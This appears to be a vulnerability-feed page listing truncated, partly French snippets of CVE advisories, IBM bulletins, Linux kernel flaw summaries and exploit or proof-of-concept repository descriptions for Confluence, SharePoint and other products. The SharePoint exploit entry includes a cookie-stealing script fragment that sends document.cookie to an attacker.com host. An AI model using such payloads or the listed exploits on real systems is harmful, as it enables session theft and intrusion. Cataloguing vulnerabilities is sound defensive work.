CVE-2026-21876

CVE-2026-21876 Contournement WAF OWASP CRS Conteneur docker CVE-2026-21876 + PoC minimal. Je tiens à remercier séparément @airween et @fzipi pour leur réponse rapide ! Le correctif de la vulnérabilité a été prêt en très peu de temps. PoC POST /submit HTTP/1.1 Host: localhost User-Agent: curl/8.17...

CVE-2023-22527-POC

CVE-2023-22527 &color=brighgreen%3E Description Une vulnérabilité d'injection de template sur les anciennes versions de Confluence Data Center et Server permet à un attaquant non authentifié d'obtenir une exécution de code à distance RCE sur une instance affectée. Les clients utilisant une versio...

Blackash-CVE-2025-61884

CVE-2025-61884 Nouveau bug d'Oracle E-Business Suite pourrait permettre aux hackers d'accéder aux données sans connexion 💀 CVE-2025-61884 — Résumé complet 🧾💥 Champ| Détails ---|--- Identifiant| CVE-2025-61884 Produit| Oracle E-Business Suite — Oracle Configurator Runtime UI Versions affectées|...

Security Bulletin: IBM Guardium Data Protection is affected by multiple vulnerabilities.

Summary IBM Guardium Data Protection has addressed these vulnerabilities in an update. Vulnerability Details CVEID:CVE-2026-54512 DESCRIPTION: jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and...

CVE-2026-107296

The msgpack5 library, a msgpack v5 implementation for Node.js and the browser , contains a vulnerability in versions prior to 6.1.0 . When decoding a negative signed 64-bit integer , the library modifies the corresponding bytes in the caller-provided input buffer during value computation. This ca...

EUVD-2026-95107

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

CVE-2026-107296 msgpack5: Decoding negative int64 values mutates the input buffer

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

Security Bulletin: IBM Guardium Data Protection is affected by multiple vulnerabilities.

Summary IBM Guardium Data Protection has addressed these vulnerabilities in an update. Vulnerability Details CVEID:CVE-2026-84064 DESCRIPTION: IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary SQL commands due to improper neutralization of special...

CVE-2026-105436 WordPress MainWP Child plugin <= 6.2.1 - Deserialization of untrusted data vulnerability

Deserialization of Untrusted Data vulnerability in MainWP MainWP Child mainwp-child allows Object Injection.This issue affects MainWP Child: from n/a through 6.2.1...

CVE-2026-105436

The MainWP Child WordPress plugin (versions 6.2.1 and below ) is vulnerable to a Deserialization of Untrusted Data vulnerability. This flaw allows for Object Injection , which can lead to significant impacts on confidentiality, integrity, and availability. No specific remediation or exploit detai...

EUVD-2026-95105

Deserialization of Untrusted Data vulnerability in MainWP MainWP Child mainwp-child allows Object Injection.This issue affects MainWP Child: from n/a through 6.2.1...

Security Bulletin: Multiple Vulnerabilities in IBM Java Runtime affecting Tivoli Netcool/OMNIbus

Summary Vulnerabilities in IBM® Runtime Environment Java™ Technology Edition, Version 8 that is used by Tivoli Netcool/OMNIbus have been addressed. Vulnerability Details CVEID:CVE-2026-47057 DESCRIPTION: Easily exploitable vulnerability allows unauthenticated attacker with network access via...

kernel: ipv6: rpl: fix hdrlen overflow in ipv6_rpl_srh_decompress()

A flaw was found in the Linux kernel's IPv6 Routing Protocol for Low-Power and Lossy Networks RPL segment routing header SRH decompression function, ipv6rplsrhdecompress. An integer overflow occurs when processing a specially crafted IPv6 packet, causing the header length calculation to truncate...

kernel: ipv6: fix use-after-free in ip6_finish_output2()

A flaw was found in the Linux kernel's IPv6 networking stack. A use-after-free vulnerability exists in the ip6finishoutput2 function, where a cached pointer to the IPv6 destination address can become stale after memory reallocation. An attacker could potentially exploit this to leak sensitive...

kernel: gfs2: Fix slab-use-after-free in qd_put

A flaw was found in the Linux kernel's GFS2 file system. During filesystem shutdown, quota data objects were freed without being properly removed from the Least Recently Used LRU list. This oversight could lead to a use-after-free vulnerability, where the system attempts to access memory that has...

kernel: nvme-tcp: reject a read that transferred too few bytes

A flaw was found in the NVMe-TCP implementation of the Linux kernel. This vulnerability occurs when the system completes a data read request even if the connected controller transfers fewer bytes than expected. As a result, the user application receives a mix of legitimate and stale data,...

Exploit-CVE-2023-22515

Exploit CVE-2023-22515 Un script d'exploitation simple en bash pour CVE-2023-22515. Informations Les instances Confluence Data Center et Server présentent une vulnérabilité de contrôle d'accès cassé CVE-2023-22515, permettant aux attaquants de créer des comptes administrateur Confluence non...

CVE-2026-32201-exploit

Aperçu Exploit Python pour CVE-2026-32201 - validation d'entrée incorrecte dans Microsoft SharePoint Server, permettant l'usurpation réseau non authentifiée C:L/I:L. Affecté : SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoin...

CVE-2026-39047

PrintHack - Outil de Test de Sécurité des Imprimantes | | | | | | \ | \ | | | | | | | | | | | | | | | | | ⚠️ AVERTISSEMENT : Cet outil est destiné uniquement aux tests de sécurité légitimes et à des fins éducatives. Utilisez-le de manière responsable et uniquement sur des systèmes que vous...

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 Confluence RCE CVE-2023-22527 - Vulnérabilité d'exécution de code à distance RCE dans Confluence Data Center et Confluence Server PoC Références CVE-2023-22527 - Vulnérabilité d'exécution de code à distance RCE dans Confluence Data Center et Confluence Server | Support Atlassian |...